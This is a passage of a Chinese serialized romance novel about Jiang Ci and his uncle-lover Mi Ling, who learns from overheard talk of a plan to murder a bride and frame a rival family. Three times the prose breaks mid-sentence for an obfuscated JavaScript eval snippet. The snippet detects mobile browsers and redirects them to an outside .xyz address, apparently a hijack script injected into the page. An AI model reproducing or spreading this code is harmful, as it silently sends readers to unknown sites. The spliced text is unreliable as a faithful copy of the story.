“想我了?”糜岭亲亲他,手掌轻轻按在他小腹上,“这几天都在下雨,院子里滑,下次不能跑了,才把身体养好,要是现在滑一跤摔伤了,又要躺在床上吃几个月的苦头,知不知道?” 姜瓷点点头,搂着他脖子小小地踮了踮脚:“你抱我。” “不好,说了地上滑,小舅舅腿又不方便,带着你一起摔跤,回了屋再抱你。” 姜瓷没应声,低了低头,牵着他的手慢吞吞回了屋,到客室里,把拖鞋一甩,蜷起腿半躺在沙发上,拿报纸掩住了脸。 糜岭见状便哄说:“好了宝宝,不闹别扭了,这就抱你,抱你回房间,我们睡觉了。”一边脱外套一边弯腰去捡甩飞的鞋子,再去看他,不想他竟哭了,眼泪水把报纸都浸湿了些许。 “小宝,好好,我错了。”糜岭马上去抱他,他又不肯起来,手脚往糜岭身上缠紧了。糜岭坐下来给他擦眼泪。他抽抽搭搭地说:“这一段时间我都看不见你,每天我还没醒你就走了,晚上回来又是该睡觉的时间,话也说不了几句,现在你都不肯抱我了……还不如在金园那时候呢!你在外面——” “绝对没有,最近确实忙,不是说给你听过么,周盛业给舅舅惹了那么多麻烦,总得去解决是不是?” “那还要忙多久?” “很快就得空,宝宝,我保证。” 他却哭得愈发伤心了,撕碎了报纸往糜岭脸上扔,叫道:“你不陪我,那我要出去,我出去找别人陪我,我不要闷在家里!我要出去,我要回上海!” “再过几天,马上,马上就去,”糜岭捉住他手腕搭在肩上,柔声地劝,“你现在出门,叫周盛业瞧见了怎么办?我又不在你身边,到时你再被他抓走,那简直和要了舅舅的命没什么两样了。” 姜瓷哭啼啼哼了两声,终于安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831059|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静下来,偏过头和他接吻,模模糊糊地说:“卿卿结婚的帖子送过来了,在桌上,你要去吃喜酒吗?” 糜岭拿过帖子确认地点和时间:“得去,你知道周盛业把店里的账本抢走还没还回来,舅舅正好借这个机会见个人,谈谈这件事。” “那我也要去。” “宝宝,刚才跟你说了——” “明天酒楼里肯定要摆好几十桌呢,那么多人,谁会注意到我!” “不好,听话小宝,人多眼杂,更要出事情。” 姜瓷绷着脸又开始掉眼泪,哭得脸煞白,一阵阵气急。糜岭摸着他瘦削的脸颊,实在有些不忍。喝了这么久的药,虽然是修养好了,可仍是一副病恹恹的样子,大概因为本就身弱,心情郁结,再加上还怀着孕,所以尤为辛苦,山珍海味送到他面前,也不见他长肉,只小腹有点儿弧度。 糜岭轻轻抚了抚他肚子:“不哭了宝宝,明天,等晚上天暗了,我们到街上兜兜风,这样好不好?” “真的么?” “真的,换好衣服在家等我,穿那套黑色的西服,行动方便一些,天暗,你穿黑的,别人也认不出你,把帽子也戴上。” 他马上止了泪,软软往糜岭肩上倚,糯糯地问:“哪套黑的啊?衣柜里没有。” “怎么没有,就挂在最边上,舅舅带你去看。” 糜岭要抱他,他自己先站了起来,拨弄着手指嗫嚅说:“你腿疼,还是不要抱我了,我听话,我搀着你走嘛,好不好?” “真乖,”糜岭起身搂住他,往卧室去,“今天在家吃什么了?” “好多。”他报了一串菜名,把喝了几杯水都一一交代。回到房间,糜岭找出西装来在他身上比,说:“试一试,要是不合身舅舅让人拿去改,明天穿别的,还有一身灰色。” 姜瓷一边脱衣服一边说:“看起来好像有点大,要是以前还没有宝——我是说……还没有生病的时候穿,那就正好。”险些说漏了嘴,他把脱下来的睡袍掩在小腹前,偷偷瞥一眼糜岭,糜岭坐在床畔,没有什么特别的反应,仍是那样眉眼含笑的。 “你别看我换衣服……”他嘟囔。 “有什么看不得的,宝宝里里外外都给我看过了,”糜岭一瞬不瞬静静望着他,抬手抚上他瘦弱一把柳腰,“太瘦了,还得再多吃点儿饭。” “我已经吃得够多了,刚才不是说给你听了么?再多吃点儿,就成大胖子了!” “哪里不好?就要胖些,”糜岭一把搂过他,“抱着我们宝宝像抱着棉花。” 姜瓷吃吃地笑了:“真的像棉花么?” 糜岭拿过西装往他身上套,说:“像,又香又软。试好衣服就睡觉了,早点睡养养精神,不然明天没力气出去玩。” “嗯,我乖乖吃饭,等你回来接我。” “好,真听话,明天要是下雨,不许在外面等,知不知道?” “知道!”姜瓷兴致盎然地甩着有些长的袖子转了个圈,叫道:“出去玩,出去玩咯!” 41. 41 一半醒 糜岭担心要生事端,只告诉管家一个人姜瓷要出门。第二天天一暗,管家便拿一件风衣罩着姜瓷,躲开家里佣人,偷偷摸摸送他上了车。 糜岭已经等了一会儿了,手里拿一只冰棍,融化了不少,见着姜瓷,立刻送到他嘴边,说:“天气确实热了,买一支给你尝尝,慢慢吃,不然肚子要不舒服。” 姜瓷正热得一身汗,可还是要腻在他怀里,浅浅咬一口冰棍,说:“小舅舅也尝一下,好甜的。” 糜岭便咬了一口,心里喜欢得舍不得放开他,热得两人都汗津津的。 车子停下来的时候,姜瓷还以为只这么一会儿糜岭就送他回了公馆,有些不高兴地往外一瞥,却看见了一幢陌生的小洋楼。 糜岭带他下车,一边解释道:“这里是卿卿和周茂飞的房子,卿卿父亲买的。她玩心重,中午和我们在酒楼吃过饭,马上就吆喝了一群朋友来这儿打麻将,现在又要办舞会,都是小年轻,没有人认识你,舅舅带你过来玩一玩。” “可是卿卿认识我,她会不会告诉周茂飞?” “不会,她没有这样的心思,本来这桩婚事就不是她自己的意愿,她也是到国外留过学的人,不怎么瞧得上周茂飞。她这里有个专门用来跳舞的房间,设计得和舞厅里没什么分别,灯一暗下来,除非像舅舅这样搂着你,不然谁都看不清你的脸。” “真的啊?”他笑起来,脚步轻快地小小蹦了两下,拽着糜岭迫不及待往里去。 舞房就在一楼,一进门就听见唱片机里传出的高昂舞曲,人群的笑闹,往右拐进一条走廊,推开门,便踏进了幽暗暧昧的另一个世界,果真置身于舞厅里似的,荔红色的光在房里悠悠地打着转,照到舞池里,也只是让女人们脸颈手腕上的饰品闪一闪光。什么都朦胧的。 姜瓷稍稍放下心,跟着糜岭走到角落一张小桌前坐下。桌上有一壶酸梅汤,几盘点心都吃空了,剩一块夹心的奶皮酥。 他拿起来三两口就吃下肚,咂咂嘴说:“我还要吃。” “这就饿了?” “不是,我……我没吃晚饭。” 糜岭皱了皱眉,抹掉他嘴角的碎屑:“昨天答应得那么好,说要好好吃饭。” “因为我担心你不回来么,你以前又不是没有骗过我,圣诞夜那天,还说带我下山玩呢,我等了一天,结果……”他不大高兴地躲开糜岭的手,自顾自去倒酸梅汤。糜岭便站起身走到他跟前,俯身凑近了,说:“别生气宝宝,舅舅这就再去拿一盘这个给你,还是要吃饭?只是应该只有晚上剩下的饭菜了,不然叫老妈子煮碗面条,好不好?” 他捧着杯子啜酸梅汤,有点儿不好意思地嗫嚅道:“全都想吃,剩的也想吃的……我饿。” 糜岭轻轻笑一笑:“多吃点儿好,我去去就来。” “快点回来,我还要和小舅舅跳舞的!” 糜岭摸摸他头发,转身出去了。他又喝一杯汤,还是觉得身上被汗浸得又热又腻,便脱下外套往椅背上搭,侧身过去的时候才发现,原来身后就是两扇大玻璃窗。 他起身去开窗户透气,担心引起注意,没敢开太大,露了条缝隙,潮热的一阵风裹挟着些许雨水的气息涌进来拂到面上,吹得人更不舒服了,再往外探了探头,墙下便是矮蓬蓬的成片灌木,大约是庭院的边界,枝叶都撞到窗框上,暗处蚊虫成团,嗡叫不休,怪不得不开窗户。两侧还有几棵硕大的芭蕉树,一线残月缀在树顶,在乌云里若隐若现,远处天边泛着闪电的紫白色光,能听到渺茫的一点雷声。 屋里的舞曲换成了轻柔舒缓的调子,他回过神来,正要坐回去,忽然灌木丛里迸出一串异常尖锐的娇笑,然后是树枝被踩踏的咔嚓声,衣料摩擦声,仿佛两个人跌进灌木里了。 他惊得退了退,见没有再传出声响,便再小心翼翼去关窗户,可这时候那娇尖的女声开口说话了,怒气冲冲地道:“周茂飞,我当你叫我出来做什么,原来就为了这腌臜事!在树丛里!” “嘘!别吵,给人家听见!” 女人冷笑一声:“我巴不得叫人家听见,让他们都来评评理!你之前答应我什么了,说会跟我结婚,结果转眼你就傍上这个银行家的女儿了。” “我傍她!我用得着傍她么!”周茂飞声音也尖起来了,恼羞成怒地叫道。 “怎么,难道不是你爸觊觎她家的财产,才让你和她结婚的么?” 周茂飞被噎得沉默半晌,天上轰隆隆打了个闷雷,他才又出声说:“你急什么,我肯定和你结婚。你听我说,我爸在外面有个孽种,你知道的吧?他被我爸送给糜岭,谁知道最近快病死了。那个贱货半男半女的,不知道是不是陈家克妻的诅咒把他也咒死了。有次我爸去看他,差点被传染了肺病!” “这么多废话,到底要说什么!” “他跟在我爸身边的时候,不知道给我爸捞了多少好处,现在他要死了,我爸能不生气么!最近一直跟糜岭为了这件事过不去。他现在想了个办法,既能除掉陈家,也能让我继承孟家的财产,一箭双雕。” “什么办法?” “你今天瞧见孟卿卿脖子上那条项链没有?” “那串红宝石么?那么惹眼,谁瞧不见?”女人酸溜溜地问:“你送的?说这个干什么!” “哪能呢,我看整个香港都没人买得起,是陈家的传家宝,糜岭亲自送给我爸的,我爸又送给卿卿当结婚贺礼了。” “他干什么把这么贵重的东西送你爸?” “就是求我爸把那个杂种送给他。不过陈兴那老东西知道传家宝给了我爸,还找来闹过,想要回项链,”周茂飞声音冷冷的,“现在项链到了孟卿卿这儿,陈兴肯定还是想拿回去的,到时候只要我爸派人暗中杀了孟卿卿,再把这件事栽赃到陈家头上,就说是他们抢回传家宝时害死了孟卿卿。我爸是警务处长,要怎么办案还不是他说了算。陈家人都进了监狱,自然没人跟我爸抢珠宝生意了。再者,孟家死了唯一的女儿,他们的遗产除了给我这个女婿,还能给谁?到时候我再娶你,你就等着当阔太吧!” 姜瓷听到这儿心头一阵阵惊跳,只觉得天旋地转,吓得浑身发软,满背冷汗,手心里也仿佛握了把水似的湿冷。他哆哆嗦嗦,颤巍巍伸手去关窗,可忽然灌木丛枝叶攒动,一只女人的手慌乱地挣甩出来,啪地拍在窗玻璃上,手腕上一只玉镯咔嚓一下碎了,然后是那女人惶然的大叫声:“你疯了么!你这个疯子!那可是杀人!” 姜瓷生怕被发现,不敢再靠近,立刻转回身往座椅那儿走,不想太过急躁的一下,与一个女人撞了满怀。那人趔趄着往他怀里倒,发髻上插的一支钗子便直直往他面颊上戳去。他僵着身子,尚处在惊吓之中没回过神来,生生给钗上的细丝划了下脸。等那一点儿刺痛在面颊上蔓开,他才反应过来,抬手摸了摸,指尖湿濡的,也不知是汗还是血。 那人站稳后也马上来瞧他的脸,倒是没瞧见什么伤,但两人一对上视线,都怔住了,把互相认了出来。姜瓷见她要叫,连忙去捂她的嘴,说:“李小姐,求求你……别出声……” 李小姐眨了眨眼睛表示同意,姜瓷便放了手,拉她坐回桌上。李小姐打量他几眼,说:“我听说你……你病了,但是你看起来很好啊。” “哦,对,病了……请你别告诉别人我今天在这儿,好么。”姜瓷诺诺应一声,想着方才听到的事,心乱如麻,一时间把连月来对她的醋意与不满都抛诸脑后了,无心应付她,心不在焉遥遥看一眼门口,什么都看不清,也不知道糜岭要不要回来了。 “可以是可以,只要你听我说几句话就行。”李小姐道。 “嗯,哦,好吧。”他随口答着,焦躁地揪着手指,还往门口张望。 “喂!你专心点好不好,”李小姐拽他一下,把左手递过来,炫耀般地抖了抖无名指,“你看这是什么?” 姜瓷垂眼去看,恰好有束灯光打过来,把她手上那枚戒指照亮了,是一只火水钻,散出的幽光再反射到她手边那只空玻璃杯上,灌了满满一杯海水般的蓝色。 “这……这是我的戒指,是小舅舅买给我的,”他蹙了蹙眉,看一眼李小姐,“有一天突然就丢了,怎么找都找不到。你……他把我戴过的戒指送给你?” 李小姐见他不哭不恼,平平静静的,忽而失了兴致,把戒指摘下来扔到桌上:“我在客室沙发底下捡到的,他什么都没给我。城里都在传我要和糜先生结婚了,我还以为你见了我就会哭呢,要不就是和我打一架。” 姜瓷喃喃道:“这样,是这样啊,原来是你自己拿的……”他阖了阖眼帘,把戒指又推回给她:“你喜欢就拿去吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831060|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正我还有好多,而且,他跟我解释过了,他没有要和你结婚。” 她也不客气,拿过戒指又套回手上,说:“我这次去广州避风头,认识了一个富商的儿子,他家和孟卿卿家有来往,过来吃喜酒,我也跟着他一起来玩,我想着得请人家吃顿饭还人情,正愁没钱呢!这戒指值不少吧?” “我不知道,但应该吧……” “哦。对了,你别跟伯父和英嬅告状啊,他以为我还在广州呢。”她朝姜瓷挤挤眼睛嬉笑一声,又正色道:“那么现在糜先生是要和你结婚了么?” 姜瓷摸摸小腹,慢吞吞有些犹豫地回:“他说……反正他说再过一阵……” “是么,这么说,他已经不喜欢那个人了?” “你也知道那个人?” “嗯,就清明那天,我到公馆去,本来想骗他我就是他喜欢的人,他没信,他告诉我他只和那个人只跳过一支舞。” 姜瓷拧了拧眉,思忖片刻,道:“你说……只、只跳过一支舞?” “对啊,怎么了?” “没……可能是巧合吧。” 外头突然炸响一道惊雷,开始下雨了,有雨丝飘进没关紧的窗缝隙,拂到他面颊上来。他不舒服地耸了耸肩,被汗水浸湿的衬衫腻在背上,仿佛回到了五年前那个雨夜,那时候也是这样湿淋淋的一身,也是轰隆的雷,晦暗的舞厅,柔和的曲子,荔红色的光,照出糜岭衣领边缘绣一条金线,他稳健地迈着舞步,那金线跟着他翩飞。 他喃喃说:“我刚来香港的时候,也和他跳过舞的,在浅水湾舞厅里。那天也下雨,他看我淋湿了,就把外套给我穿。那会儿他的腿还没受伤,跳舞跳得特别好。” 李小姐拖长了声音感慨地“欸”了一声:“原来你们还有这样的渊源。那他人呢?难道今天他不是和你一起来——” 她侧过头去,竟看见糜岭就站在半步远外,也不知道什么时候来的,或许把两人的对话都偷听去了。她生怕糜岭要为了求婚的谣言责骂她,马上急匆匆跑开了。 姜瓷顺着她的视线看过去,见着糜岭立刻松了口气,走过去一把搂住了他臂膀,急急地说:“小舅舅,我有件很重要的事情要跟你说。” 糜岭不应声,僵硬地站在那儿,手臂却微微发颤。他托着一个餐盘,手一抖,里头的碗碟撞在一起,跟着丁零当啷地响,碗中滚烫的汤水溅到他手背上,他也毫无知觉似的。 “阿岭!”姜瓷又叫他。 他这才回神,放下餐盘,喑哑地喊:“姜、姜瓷……” 姜瓷见他如此,有些惶然,轻轻晃晃他手臂,说:“什么?怎么了?” 他喉咙哽着,发不出声音,在这晦暗之中,竭力地睁大着胀热的眼睛去看姜瓷。浮着汗的潮湿的皮肤,能嗅闻到几丝雨水的凉意,因为太热出去吹过了风么?简直和五年前淋了雨的那时候没什么两样;凌乱的黏在脸颈上的头发,当时怕吓着他,忍着没有帮他捋一捋,现在——现在可以碰他,更亲密的事也做过了,可这一刻,竟不敢伸手;他白润的脸,有些无措不安的神情,警惕而敏感的眼神,眨啊眨的四处逡巡,圆鼻头,薄而小的唇,抿紧的时候嘴角皱起来仿佛小酒窝似的;软软一张手,搭在自己身上的时候像绸缎一样滑柔,一不留神它就会溜出视线消失不见一般……也确实消失不见了,在那短暂的一瞥眼一转身之间,在两臂触碰在一起的这种咫尺之距,让他溜走了,溜走了五年……怎么会,怎么能醒悟得这么晚? 姜瓷等了一阵儿,还不见他有动作,心里实在不安,便主动倚进他怀里,揽住他的肩背,轻轻拨弄起他后颈刺绒绒的一点儿碎发来。 “阿岭,阿岭,你说话……出什么事了么?”他惶惑得几乎要哭出来,踮脚浅浅吻了吻糜岭嘴角,递过来一点儿黏腻的汗,一点儿酸梅汤的甜气儿。 他的声音灌进糜岭耳朵里,变得模糊不清。仿佛隔着水在听他说话,仿佛真溺在水里似的,糜岭胸中灼痛,闭一闭眼睛,深深地感觉到被吻过的那一块儿皮肤绷紧了,仿佛姜瓷还一直吮吻着它,明明是那么短暂缥缈的一下,却仿佛要烙下永不磨灭的刻印那般热烈而沉痛。 曾经,他也是这样吻姜瓷的。 他终于动了动,紧紧回抱住姜瓷,手臂箍在他软洋洋凹着的细腰上,忽然间心如刀绞。 42. 42 多少恨 “对,是,姜瓷听见的,就在舞房外面的树丛里……他何必拿这种事说谎……先别着急,别哭,冷静点……”糜岭按了按胀痛的太阳穴,把听筒拿远了些,卿卿尖细的哭声还是扎得耳朵刺疼,“听我说卿卿,听好,我已经让我的司机去接你,你回你父亲那儿去,找个借口,别让周茂飞跟你一起,不要哭了,再哭下去只会让他起疑心,今晚就先什么都别想,好好睡一觉,明天一早我到你那儿去,我们再谈这件事。” 卿卿在那头啜泣着应下,挂了电话。 糜岭瞥一眼时钟,快要十一点了。方才回来的车上姜瓷睡着了,背他回到卧室,给他换衣服擦脸,他都没醒。虽然睡得沉,可似乎不怎么踏实,牙关咬得紧紧的,手也握着拳抵在胸口,不知道做了什么梦。 他估摸着现在姜瓷可能也要醒了,醒过来见不着他,又要掉眼泪,便急急走出去,在走廊里险些摔一跤,稳住身形才发现慌忙间把手杖落下了,不知为何焦躁异常,甚至连回头去取的耐心都没有。 回到房里,几乎是连滚带爬地跌到床上,摸到姜瓷睡袍的一角,救命稻草似的攥紧了一扯,拥住他,可心口还是剧烈的震荡着,悔恨像饥饿的秃鹰,正一下一下凶狠地啄咬他的骨肉。 姜瓷似是要醒,转过身枕到他胸膛上,舔舔嘴唇,呓语了一句就安静下来。 他轻轻抚摸姜瓷的头发,在外头轰鸣的雷雨声中逐渐睡着了。梦中也到处都是雨水,拨开面前白茫茫的雨帘,他看见姜瓷离开的背影,模糊地晃动着,忽远忽近。 他大喊一声“姜瓷”,迈步追上去,渐渐只有一臂的距离了,奋力一扑,却只是抱住了一汪雨水,狼狈地跌在地上,还未缓过神,不知从哪儿响起姜瓷的一声尖叫,比雷声还震耳欲聋。 他手忙脚乱爬起来,无头苍蝇似的在雨里乱撞,雨线针似的坠到眼睛里,扎得生疼,可也不肯闭一闭眼睛,生怕错过了姜瓷的身影。又叫又喊地奔走许久,凭空传来了姜瓷凄厉的哭吟。一瞬间滂沱的雨仿佛停住了,只听得到“不要不要”“求求你”“放开我”,他那样怆然地哀求着,哽咽得口齿不清,有气无力。可是没有人理会,陌生男人的咒骂声,仿佛是打了姜瓷几个巴掌,他再哭起来时含了核桃在嘴里般的不清不楚,渐渐哭声小下去,可床榻的嘎吱声愈叫愈响,那种暧昧的肌肤碰撞的响动也愈发明晰了。 糜岭宛如万箭攒心,脸色青白,恨得咬牙切齿,挣紧了拳头往声源处奔,可只迈了两步便趔趄摔倒在地,再想站起来,右腿忽而诡异地扭曲起来,一阵阵剧痛直往心口脑袋上袭,意识顷刻间模糊了。 然而这时候,隐隐约约又听到姜瓷的叫声,在喊:“小舅舅……阿岭!你醒醒!” 他猛地睁开眼睛,迎面被头顶炽烈的灯一照,本能地偏头一躲,恰好撞进姜瓷的怀里,便紧紧搂住了他的腰。 “阿岭……”姜瓷小心翼翼地碰一碰他只露在外面的一点儿耳廓,“你做噩梦了么?” 糜岭轻轻应一声,抓过他的手贴紧了脸颊。 “什么样的梦呢?”他问,“你一直在叫我的名字,而且……小舅舅腿疼么?你贴着我,我能感觉到,你的腿一直在发抖。” 他把手探下去,覆在糜岭右腿上,睡衣上浸满了汗,潮得发凉,刺得他打了个激灵。他坐起身要下床,说:“我去拿毛巾,不,还是去找管家好了,让他去请医——” 糜岭看着他坐在床畔弯腰去摸索拖鞋的背影,很是恍惚,像梦里那般扑过去,这一次是确确实实地抱住了,胸膛压靠下去,拢住了他小小的瘦削的身体,他背上耸起的两瓣蝴蝶骨直直地插过来,长刀似的在他心上剌出血淋淋的口子。 “宝宝,不用,你就待在我这里,哪都别去。”他哑声说着,掰过姜瓷的脸,姜瓷很乖顺地吻住了他。 一个不带情欲的安抚的吻,糜岭舍不得退开,末了还柔柔地吮着他唇瓣。 他一条腿正压在糜岭右腿上,生怕再弄疼了他,有些不安地动了动,轻声说:“还不能告诉我么,关于你腿伤的事情?” 糜岭沉默片刻,说:“五年前,在浅水湾舞厅,我们跳了一支舞。” 姜瓷蹙了蹙眉,垂下头应道:“哦……你想起来了,还是你听到了我和李小姐说的话?讲这个干什么呢?” “小宝,舅舅的意思是……我从来没忘记过你,也没有什么替身,你就是那个人。” 姜瓷身体一僵,惊疑地半张着嘴巴,喃喃说:“什么,什么啊……你是说……我、你骗人!” 糜岭不言语,只是沉静地望着他,抛过来的视线仿佛两只钩子,死死扎在他面颊上。 他猛地挣开糜岭站起来,皱着眉在床边踱步,自言自语地有些语无伦次地说:“一开始,英嬅姐姐说你喜欢的人和我很像,我才会以为……可是……不,等等……我们在金园见面的时候,我一下子就认出你了,但你不是没认出我么?你说在金园才是我们第一次见面……所以我想你一定忘了我们在浅水湾舞厅见过,那一晚你会跟我搭话请我跳舞,是因为那个时候你也把我当成了替身——” “宝宝,一直都是你,”糜岭牵住他的手轻轻摩挲着,垂眼盯着右腿,“我找了你很久,有一回听说,九龙码头有一个很像你的人,我担心你坐船走了,再也见不到你,开车赶过去,那天下大雨,天又黑。” 姜瓷心头一惊,一手攥着胸前衣襟,气喘着,颤着嗓子又叫:“不……不!别说了……我不信!不对!不可能!”嘴上这么讲,可却嚎啕大哭起来了,软了身子倒回糜岭怀里,两手揪紧他腿上潮湿的睡衣,指尖腻满了冷汗。 糜岭护着他肚子柔声哄他:“不要紧宝宝,没事,别哭了,不然又要不舒服……” 他不停地摇头,哭嚷着,嘴里含糊不清说着话。糜岭认真听了一会儿,拼凑出大概,他在说闯进舞厅的警员正是去追捕他的,他跑出去没多远就被捉住,立刻扭送回了金园。 糜岭觉得耳朵里有把刀在翻搅,再也听不下去,紧抓着姜瓷两肩晃了晃,双眼血红,仿佛是非常怨恨地说:“那时候,为什么不告诉我?你告诉我,我还会让他们捉你走么!你也不会被关在山上,舅舅也不会——这么多年,到处找不见你,结果你一直离我这么近……这么近!一伸手就能抓住你……” 姜瓷哭叫道:“我不想连累你!本来我就不打算向任何人求助,只是想找一个能躲雨过夜的地方,我自己可以去码头,可以买船票回家!你现在怪我……好,确实都是我的错,你变成现在这样,你的腿,全是我害的!”他挣起身子跑出去了。 糜岭没有去追,静静坐着,手掌按在沉沉发痛的右腿上,望向窗外。过了一阵儿,姜瓷端着一盆热水回来了,蹲在床边地上,绞了毛巾盖在他腿上。 姜瓷哽咽着说。“这样有没有好点呢?” 不知道是不是接热水时被烫着了,他手臂上胀红了一大片,可他仿佛没有知觉,把脸埋在臂弯里低声呜咽着,肩膀一抖一抖,睡衣滑落下来,瘦削的肩头上交错横陈着青紫的指印。 糜岭掐着他时没觉得用了多大力气,现在乍一瞧见,微微有些心惊,弯腰抱起他,抚摸他汗湿的额头,轻轻吻了吻他肩膀,若无其事地柔声说:“闹得这么热,不哭了。明天让管家在房里放盆冰块解解暑。电风扇不好,风太大,对着吹你要感冒。餐厅里那个吊扇也不许一直去吹,吃饭的时候凉快一下就好了,知不知道?” 他没应声,枕在糜岭肩上,脸上也下骤雨似的掉眼泪。 两人拥抱着躺回床上,都不知道自己是怎么睡着的。糜岭又陷入梦魇里,仿佛被荆棘裹着身体,越想挣脱越血肉模糊,等终于惊醒过来时天已经大亮了,一看身旁姜瓷竟不在。 他找出去,这连日来潮闷的天气逼得腿骨里钻心地痛,走了几步就站不稳,手杖又不在身边,只好倚墙站着,高声叫道:“姜瓷!你跑到哪里去了!” 很快姜瓷从厨房冒出头来,他见糜岭脸色沉郁,额前太阳穴旁都冒青筋,屏气没敢说话。 糜岭冷声说:“过来。” 他就慢吞吞走上前,糜岭一把抓过他手臂,摸到上面又添几个烫热的红痕,斥道:“整个家都没人了是不是,要你去抢佣人的活,要你去端热水,做那种事情!不想想自己是什么样的身体,到处乱跑干什么!” “我……就在家里,也叫乱跑么,而且我是想……你的腿……”他嘟囔着,感觉糜岭满手心的冷汗,湿哒哒冰一样的凉,没有再顶嘴,靠近了软软倚进他怀里,说:“对不起,你别生气了。早饭还没做好呢,我们去坐会儿吧。”他也不等糜岭应声,马上挽住他手臂,搀着他回卧室。 洗过澡换过衣服,坐到餐桌上,糜岭没有一点胃口,看着姜瓷喝了两碗粥,又吃包子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831061|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和油条。吃完了,他要姜瓷坐到怀里来,姜瓷看了看他的腿,摇摇头不愿意,说:“你平时这时候早就走了,快点去忙工作吧,我在家里一定很乖,真的,我保证。” “你过来,我再跟你说句话。” 姜瓷便走过去,却被他抓住两臂一扯,还是坐到了他腿上。 “不行,你的腿——”他一叫,糜岭马上吻住他,垂下手抚摸他小腹,不知是吃得多才鼓起来,还是真的到了月份,隆起的圆溜溜的肚子恰好贴合进手掌里。 姜瓷也小心翼翼地抱着小腹,软声说:“干嘛呀……” “怎么,我现在摸都摸不得了?” 他讲起话来刺刺的,姜瓷听了,梗着脖子有点儿要发脾气的意思,但感觉到臀根下他那受伤的右腿仍细小地颤动着,便忍住了,整理一下他的领带,搂着他脖子说:“你摸吗,随便摸,想摸别的地方也可以,别生气了好不好啊?我知道错了,我一定不乱跑,今天我就待在房间里看书,你叫管家监督我。” “舅舅现在不相信你,一转眼的功夫,你又像五年前那时候跑了,我找谁说理去?” 姜瓷逃避般撇过脸,收回抱着他的手臂,垂下眼睛,动了动嘴唇,想辩解,可开口时却只是恹恹地说:“那你要怎么样么,我又不能跟着你出门,会被周——” “怎么不能,”糜岭冷声打断他,站起身推了他一下,“回去换身衣服,我在门口等你。” “可是——” “除非我死,姜瓷,除非我死了,否则谁都带不走你。” 姜瓷被吓着般呆了一呆,立刻往房间去,随意套了件男装,再跑出来,扑进糜岭怀里,糜岭搂着他的腰一抱,带他出了门廊。 “叫你不要跑,摔一跤不是小事。”糜岭厉声斥了一句。他仿佛没听见,歪倒在他肩上吃吃地笑起来。 先去了孟家。孟老爷子在宅子的天井里,正给养在两口大缸里的几尾金鱼喂食,见了糜岭进门,便把手往身后一背,自顾自进了屋。 他们在书房里说话。孟老爷子也听闻过一些传言,知道姜瓷是周盛业的孩子,很是防备他,试探着问他昨晚是不是吃醉了酒。 姜瓷很不服气地反驳:“我没喝酒,而且我也不能喝——”他顿住,瞥一眼糜岭,矮下声音来道:“反正我没喝酒,我听得清清楚楚,周茂飞就是那么说的,本来周盛业就不是好人,他什么事都做得出来。” 孟老爷子面无表情,端起茶杯幽幽喝了一口。孟卿卿坐在他身边,急得推了推他手臂:“爸!这种事,宁可信其有,不可信其无!我可不想死!” “怕什么!我看他敢动你一根手指头!你出去,把他也带走,我跟糜岭单独说说话。” 糜岭立刻牵紧了姜瓷的手道:“不行,我在哪他在哪。” “哼,外面的那些传闻一点不错,你真是丢了魂了!” 糜岭不言语,和孟老爷子对视片刻,转头对姜瓷说:“你坐到那边去,窗户那儿,小桌子上有点心,去吃了,去吧。” 姜瓷便走过去了,孟卿卿也跟着起身。 小桌离沙发那儿确实有些距离,他们两人说话又压着声音,传到姜瓷这儿,就只是模模糊糊的窸窣声了。他抓起一块云糕往嘴里塞,倒了杯茶推给卿卿,卿卿红着眼哽咽道:“你倒好了,小舅舅一定对你很不错的……我呢,看看我爸给我挑的好夫婿!” 糜岭在那边说完话,找过来的时候,姜瓷趴在桌上睡着了,嘴巴上还粘着糕点屑。他轻轻抚掉了。卿卿在一旁看着,酸酸地又哭起来,问糜岭说:“小舅舅,青柏他有消息来么?去读书要读多久,什么时候回来呢?” 在孟家吃了午饭,下午去店里,姜瓷也不遮遮掩掩的,站在柜台后面,跟着店里的伙计,学徒似的打下手。 傍晚回到家,一进门就看见英嬅。英嬅对姜瓷说:“我本来都准备走了,等了你们一个多钟头。原以为你在家,不想你出去了。没有事么?托词说你病重,你在外面被瞧见了……” “没关系。姐姐有什么事呢?” “既然你说没事,那就好了,我还想假如你出不了门该怎么办。是这样,明天晚上,我和老李准备请几个亲近的朋友简单吃顿饭,就算是结婚酒席了。你和糜岭一起来玩,好么?” 姜瓷听了高兴地道:“好啊好啊!我叫小舅舅给姐姐包个大红包!” 43. 43 浓雨夜 在酒楼吃完饭,时间还很早,大家也都没尽兴,商量着再去舞厅跳舞,选了一家距离最近的,没想到恰好是浅水湾舞厅。 糜岭下了车,立在车前没有动,看着招牌,有些晃神。 